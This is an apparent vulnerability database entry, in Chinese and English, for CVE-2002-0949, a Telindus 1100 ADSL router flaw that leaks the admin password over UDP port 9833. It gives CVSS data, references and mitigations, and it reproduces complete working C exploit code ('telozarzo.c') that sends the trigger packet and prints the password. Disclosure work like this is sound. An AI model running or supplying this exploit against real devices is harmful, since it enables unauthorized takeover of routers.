CVE-2002-0949
CVSS7.5
发布时间 :2002-10-04 00:00:00
修订时间 :2008-09-05 16:29:22
NMCOES    

[原文]Telindus 1100 series ADSL router allows remote attackers to gain privileges to the device via a certain packet to UDP port 9833, which generates a reply that includes the router's password and other sensitive information in cleartext.


[CNNVD]Telindus 1100 ADSL路由器管理员密码泄露漏洞(CNNVD-200210-219)

        
        Telindus 1100系列路由器是一款由Telindus分发的ADSL路由器系列。
        Telindus 1100系列路由器存在设计漏洞,可导致远程攻击者获得管理员密码信息。
        Telindus 1100系列路由器提供一款管理软件,可以免费从Telindus站点上下载,可以用于远程管理路由器。当攻击者使用此管理员软件连接路由器时,路由器会返回包含密码信息的UDP包给客户端,通过嗅探程序可以获得明文管理员密码信息。
        

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/h:telindus:adsl_router:1120
cpe:/h:telindus:adsl_router:1110

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0949
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2002-0949
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200210-219
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/4946
(VENDOR_ADVISORY)  BID  4946
http://www.iss.net/security_center/static/9277.php
(VENDOR_ADVISORY)  XF  telindus-adsl-information-leak(9277)
http://archives.neohapsis.com/archives/bugtraq/2002-06/0028.html
(UNKNOWN)  BUGTRAQ  20020605 Some vulnerabilities in the Telindus 11xx router series

- 漏洞信息

Telindus 1100 ADSL路由器管理员密码泄露漏洞
高危 设计错误
2002-10-04 00:00:00 2005-10-20 00:00:00
远程  
        
        Telindus 1100系列路由器是一款由Telindus分发的ADSL路由器系列。
        Telindus 1100系列路由器存在设计漏洞,可导致远程攻击者获得管理员密码信息。
        Telindus 1100系列路由器提供一款管理软件,可以免费从Telindus站点上下载,可以用于远程管理路由器。当攻击者使用此管理员软件连接路由器时,路由器会返回包含密码信息的UDP包给客户端,通过嗅探程序可以获得明文管理员密码信息。
        

- 公告与补丁

        临时解决方法:
        如果您不能立刻安装补丁或者升级,CNNVD建议您采取以下措施以降低威胁:
        * 重定向到9833/UDP端口的网络通信到一不使用的地址,可以通过telnet到路由器并提交如下命令进行配置:
         add auto udp 9833 9833 9833 10.0.0.10
        
         10.0.0.10是局域网中未使用的IP地址。
        厂商补丁:
        Telindus
        --------
        目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
        
        http://www.telindus.com

- 漏洞信息 (21513)

Telindus 1100 Series Router Administration Password Leak Vulnerability (EDBID:21513)
hardware remote
2002-06-05 Verified
0 rubik
N/A [点击下载]
source: http://www.securityfocus.com/bid/4946/info

The 1100 series routers are a broadband connectivity solution distributed by Telindus.

Under some circumstances, a vulnerable Telindus router may leak sensitive information. When an attempt to connect to the router is made using the administrative software, the router sends the password to the client in plain text. This packet is sent via UDP.

**The vendor has released firmware version 6.0.27, dated July 2002. Reports suggest that this firmware does not adequately protect against this vulnerability. The firmware is reported to use an encrypted UDP packet when connecting to the router. However, the firmware uses a weak encryption scheme and thus it is easily circumvented by an attacker. 

this is a really-stupid bad-written exploit for telindus router (10xx and
11xx series)
bye,
rubik@olografix.org

/* telozarzo.c */

#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<netinet/udp.h>
#include<arpa/inet.h>
#include<sys/time.h>
#include<string.h>
#include<stdio.h>
#include<signal.h>
#include<unistd.h>
#include<stdlib.h>

#define BUFFER_SIZE 300

struct sockaddr sa;
struct sockaddr sf;
struct sockaddr *from;
struct sockaddr_in *p, *d;
int len;
int fd;
int sent,recvd;
unsigned long start_ip;

char pass[32];
char str[10];
FILE *logfile;

struct timeval minutetimeout;
int TIMEOUT;

int numhost=0, numfound=0;
double per;

u_char data2recv[BUFFER_SIZE];
u_char data2sent[62]={
		0x19, 0x73, 0x04, 0x17, 0x73, 0x30, 0x00, 0x01,
		0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01, 0x02,
		0x01, 0x33, 0x01, 0x13, 0x01, 0x16, 0x04, 0x08,
		0x04, 0x15, 0x01, 0x0D, 0x01, 0x0E, 0x01, 0x14,
		0x40, 0x03, 0x40, 0x04, 0x01, 0x26, 0x01, 0x27,
		0x01, 0x28, 0x01, 0x30, 0x01, 0x44, 0x42, 0x05,
		0x42, 0x22, 0x04, 0x18, 0xFF, 0xFF, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00
		};

void func_alarm_telindus (int s) {
	close(fd);
	return;
}

void exitnow () {
	close(fd);
	exit(2);
}

int checktelindus (unsigned long ip) {

	int i=0;
	char *s;

	p=(struct sockaddr_in*)&sa;
	p->sin_family=AF_INET;
	p->sin_port=htons(9833);
	p->sin_addr.s_addr= htonl(ip);

	d=(struct sockaddr_in*)&sf;
	d->sin_family=AF_INET;
	d->sin_port=htons(9833);
	d->sin_addr.s_addr=INADDR_ANY;

	minutetimeout.tv_sec = TIMEOUT;
	minutetimeout.tv_usec = 0;

	bzero (data2recv, sizeof (data2recv));

	fd=socket(AF_INET,SOCK_DGRAM,0);

	bind (fd, (struct sockaddr*)d, sizeof (struct sockaddr));
	sent=sendto(fd,&data2sent,62,0,(struct sockaddr*)p,sizeof(struct sockaddr));

	signal(SIGALRM, func_alarm_telindus);
	alarm(TIMEOUT);

	if (recvfrom(fd,data2recv,BUFFER_SIZE,0,from,&len)<=0) {
		alarm(0);
		signal(SIGALRM,SIG_DFL);
		bzero (data2recv, sizeof (data2recv));
		return(-1);
	}

	s=data2recv;
	while (i<5) {
		while ((*(s++)) != '\0');  i++;
	}

	if (*s == '\0') {
		printf ("pw vuota\n");
	} else {
		strncpy (pass, ++s, strlen(s) -3 );
		printf ("pw: = %s \n", pass);
	}
	alarm(0);
	signal(SIGALRM,SIG_DFL);
	return (0);
}


void usage (char *cmd) {
	printf ("\n%s ip\n", cmd);
	exit(1);
}

int main(int argc, char *argv[]) {

	if (argc != 2) usage(argv[0]);
	start_ip=inet_addr(argv[1]);

	signal(SIGINT, exitnow);
	signal(SIGTERM, exitnow);
	signal(SIGKILL, exitnow);
	signal(SIGQUIT, exitnow);

	checktelindus (ntohl(start_ip));

	return (0);
}



		

- 漏洞信息

4766
Telindus Router Administrative Password Disclosure
Remote / Network Access Authentication Management, Information Disclosure
Loss of Confidentiality, Loss of Integrity
Exploit Public

- 漏洞描述

Telindus Routers contain a flaw that allows a remote attacker to discover the software revision number, router name and administrative password. The issue is due to the device providing this information unencrypted to router management software upon request. If an attacker spoofs the same type of request, the router will disclose the information without any further authentication checks.

- 时间线

2002-06-28 Unknow
2002-06-28 Unknow

- 解决方案

Currently, there are no known upgrades or patches to correct this issue. It is possible to correct the flaw by implementing the following workaround: filter traffic to UDP port 9833.

- 相关参考

- 漏洞作者

- 漏洞信息

Telindus 1100 Series Router Administration Password Leak Vulnerability
Design Error 4946
Yes No
2002-06-05 12:00:00 2009-07-11 01:56:00
Vulnerability discovery credited to <finelli@ieee.org> and <kurgan@tigerteam.it>.

- 受影响的程序版本

Telindus 1120 ADSL Router 6.0 .21B Firmware
Telindus 1120 ADSL Router
Telindus 1110 ADSL Router

- 漏洞讨论

The 1100 series routers are a broadband connectivity solution distributed by Telindus.

Under some circumstances, a vulnerable Telindus router may leak sensitive information. When an attempt to connect to the router is made using the administrative software, the router sends the password to the client in plain text. This packet is sent via UDP.

**The vendor has released firmware version 6.0.27, dated July 2002. Reports suggest that this firmware does not adequately protect against this vulnerability. The firmware is reported to use an encrypted UDP packet when connecting to the router. However, the firmware uses a weak encryption scheme and thus it is easily circumvented by an attacker.

- 漏洞利用

No exploit is required for this vulnerability.

An exploit has been made available by &lt;rubik@olografix.org&gt;.

A sniffer application called TSniffer has been developed to exploit this issue by Arescom. TSniffer can be obtained from the following location:
http://net.supereva.it/noobsaibot.superdada/tsniffer/tslib.zip_

- 解决方案

The vendor has released firmware 6.0.27, dated July 2002. Reports suggest that this firmware revision does not adequately fix the vulnerability.

Users are advised to contact the vendor for firmware updates.

- 相关参考

 

 

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